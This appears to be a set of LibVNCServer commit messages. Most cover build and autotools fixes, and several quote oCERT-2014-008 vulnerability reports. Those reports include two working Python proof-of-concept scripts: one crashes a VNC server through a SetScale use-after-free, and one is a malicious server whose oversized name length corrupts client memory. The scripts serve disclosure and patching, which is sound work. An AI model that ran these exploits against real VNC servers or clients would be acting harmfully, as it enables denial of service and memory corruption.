Fix libva related compile errors

Fixes the following compiler warnings.

gtkvncviewer:

==
  CC       gtkvncviewer-gtkvncviewer.o
gtkvncviewer.c: In function ‘GtkDefaultLog’:
gtkvncviewer.c:591:2: warning: format not a string literal and no format arguments [-Wformat-security]
  fprintf (stdout, buf);
  ^
==

libvncclient:

==
  CC       rfbproto.lo
In file included from rfbproto.c:2376:0:
zrle.c: In function 'HandleZRLE8':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile8' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2385:0:
zrle.c: In function 'HandleZRLE16':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile16' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2387:0:
zrle.c: In function 'HandleZRLE15':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile15' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2396:0:
zrle.c: In function 'HandleZRLE32':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile32' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2398:0:
zrle.c: In function 'HandleZRLE24':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                 ^
rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
 #define CONCAT2(a,b) a##b
                      ^
zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
 #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2401:0:
zrle.c: In function 'HandleZRLE24Down':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Down' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:40:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
                                 ^
rfbproto.c:2366:24: note: in definition of macro 'CONCAT3'
 #define CONCAT3(a,b,c) a##b##c
                        ^
zrle.c:40:24: note: in expansion of macro 'CONCAT3E'
 #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
In file included from rfbproto.c:2404:0:
zrle.c: In function 'HandleZRLE24Up':
zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Up' differ in signedness [-Wpointer-sign]
     int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
     ^
zrle.c:43:33: note: expected 'uint8_t *' but argument is of type 'char *'
 #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
                                 ^
rfbproto.c:2366:24: note: in definition of macro 'CONCAT3'
 #define CONCAT3(a,b,c) a##b##c
                        ^
zrle.c:43:24: note: in expansion of macro 'CONCAT3E'
 #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
                        ^
zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
 static int HandleZRLETile(rfbClient* client,
            ^
==
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

- Make h264.c compile with recent libva version by including va_compat.h
- Only enable libva if libva-x11 is installed
- Modified configure help text
  Previous help text suggested libva was only build when --with-libva
  was specified, while actual behavior is to build it by default.

Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server
Also no attempt is made to support platforms not using X11
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

Reported by Ken Johnson <Ken.Johnson1@telus.com>.

The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)

      if (msg.ssc.scale == 0) {
          rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
          rfbCloseClient(cl);
          return;
      }

      rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
      rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
      rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);

      rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
      return;

at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.

    else
    {
        rfbResizeFrameBufferMsg        rmsg;
        rmsg.type = rfbResizeFrameBuffer;
        rmsg.pad1=0;
        rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
        rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
        rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
        if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
            rfbLogPerror("rfbNewClient: write");
            rfbCloseClient(cl);
            rfbClientConnectionGone(cl); << Call which may can lead to a free.
            return FALSE;
        }
    }
    return TRUE;

Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.

POC script to trigger the vulnerability:

---snip---

import socket,binascii,struct,sys
from time import sleep

class RFB:

    INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
    AUTH_NO_PASS  = "\x01"
    AUTH_PASS = "\x02"
    SHARE_DESKTOP = "\x01"

    def AUTH_PROCESS(self,data,flag):
        if flag == 0:
            # Get security types
            secTypeCount = data[0]
            secType = {}
            for i in range(int(len(secTypeCount))):
                secType[i] = data[1]
            return secType
        elif flag == 1:
            # Get auth result
            # 0 means auth success
            # 1 means failure
            return data[3]

    def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
        try:
            from Crypto.Cipher import DES
        except:
            print "Error importing crypto. Please fix or do not require authentication"
            sys.exit(1)
        if len(PASSWORD) != 8:
            PASSWORD = PASSWORD.ljust(8, '\0')

        PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
        PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
        crypto = DES.new(PASSWORD)
        return crypto.encrypt(data)

    def reverse_bits(self,x):
        a=0
        for i in range(8):
            a += ((x>>i)&1)<<(7-i)
        return a

def main(argv):

    print "Proof of Concept"
    print "Copyright TELUS Security Labs"
    print "All Rights Reserved.\n"

    try:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    except:
        print "Usage: python setscale_segv_poc.py <host> <port> [password]"
        sys.exit(1)
    try:
        PASSWORD = sys.argv[3]
    except:
        print "No password supplied"
        PASSWORD = ""

    vnc = RFB()

    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote.connect((HOST,PORT))

    # Get server version
    data = remote.recv(1024)
    # Send 3.8 version
    remote.send(vnc.INIT_3008)
    # Get supported security types
    data = remote.recv(1024)
    # Process Security Message
    secType = vnc.AUTH_PROCESS(data,0)

    if secType[0] == "\x02":
        # Send accept for password auth
        remote.send(vnc.AUTH_PASS)
        # Get challenge
        data = remote.recv(1024)
        # Send challenge response
        remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))

    elif secType[0] == "\x01":
        # Send accept for None pass
        remote.send(vnc.AUTH_NO_PASS)

    else:
        print 'The server sent us something weird during auth.'
        sys.exit(1)

    # Get result
    data = remote.recv(1024)
    # Process result
    result = vnc.AUTH_PROCESS(data,1)

    if result == "\x01":
        # Authentication failure.
        data = remote.recv(1024)
        print 'Authentication failure. Server Reason: ' + str(data)
        sys.exit(1)

    elif result == "\x00":
        print "Authentication success."

    else:
        print 'Some other authentication issue occured.'
        sys.exit(1)

    # Send ClientInit
    remote.send(vnc.SHARE_DESKTOP)

    # Send malicious message
    print "Sending malicious data..."
    remote.send("\x08\x08\x00\x00")
    remote.close()

if __name__ == "__main__":
    main(sys.argv)

---snap---

Fix selData.buttonWidth calculation

Operator "+" has a higher priority than "? :"

This fixes the following oCERT report (oCERT-2014-008 pt.2):

There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.

Field             Size
---------------------------------
name-length [4]
name-string  [name-length]

Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.

I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.

Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.

import socket,struct,sys

HOST = ""
PORT =  5900

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)

conn,addr = c.accept()
print "Connected by ", addr

protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)

data = conn.recv(1024) # Receive the version from them.

secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)

data = conn.recv(1024) # Receive the secType choice from them.

secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)

data = conn.recv(1024) # Receive the ClientInit (Shared-flag).

frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM =  0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"

conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )

c.close()

Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):

LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length

It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.

  case rfbServerCutText:
  {
    char *buffer;

    if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
			   sz_rfbServerCutTextMsg - 1))
      return FALSE;

    msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length

    buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0

    if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
      return FALSE;

    buffer[msg.sct.length] = 0; << Attempt to write to buffer

    if (client->GotXCutText)
      client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer

    free(buffer);

    break;
  }

If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.

Add autoconf macros that might not be installed with a usual autotools setup

This is recommended practice as per
https://www.gnu.org/software/automake/manual/html_node/Local-Macros.html.

It fixes the problem that arose when one of the maintainers could not build LibVNCServer
after https://github.com/LibVNC/libvncserver/pull/38 was merged.

Symptoms included

  checking whether make sets $(MAKE)... yes
  ./configure: line 2481: syntax error near unexpected token `rfb/rfbconfig.h'
  ./configure: line 2481: `AX_PREFIX_CONFIG_H(rfb/rfbconfig.h)'

until autoconf-archive was installed (which was a previously unmentioned
requirement for Pull Request #38) – this is not always an option, in particular
when the project needs to be built using a system-wide autoconf installation
that cannot be modified easily by the developer.

There was no reason to get rid of the convenient script. Most developers
who are not in love with autoconf fail to remember that autoreconf
invocation, therefore it is better to have something working in place.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>

There was a possible buffer overflow in rfbFileTransferOffer message when
processing the FileTime.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>

Fixing 2 security issues

Otherwise the sources from a 'make dist' package wouldn't compile.

This change kinda got lost with the last commit re-splitting.

Autotools fix revisited.

.dirstamp, OTOH, is to be expected in several subdirectories.

 - no longer applicable: use autoreconf -fiv

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>

A forgotten `#ifdef WIN32` broke UNIX build.

More MSVC adjustments, now focuses on the libvncserver

We also do not need the conversion between UNIX values to Windows values in the RTF_FIND_DATA struct, as we already are on windows.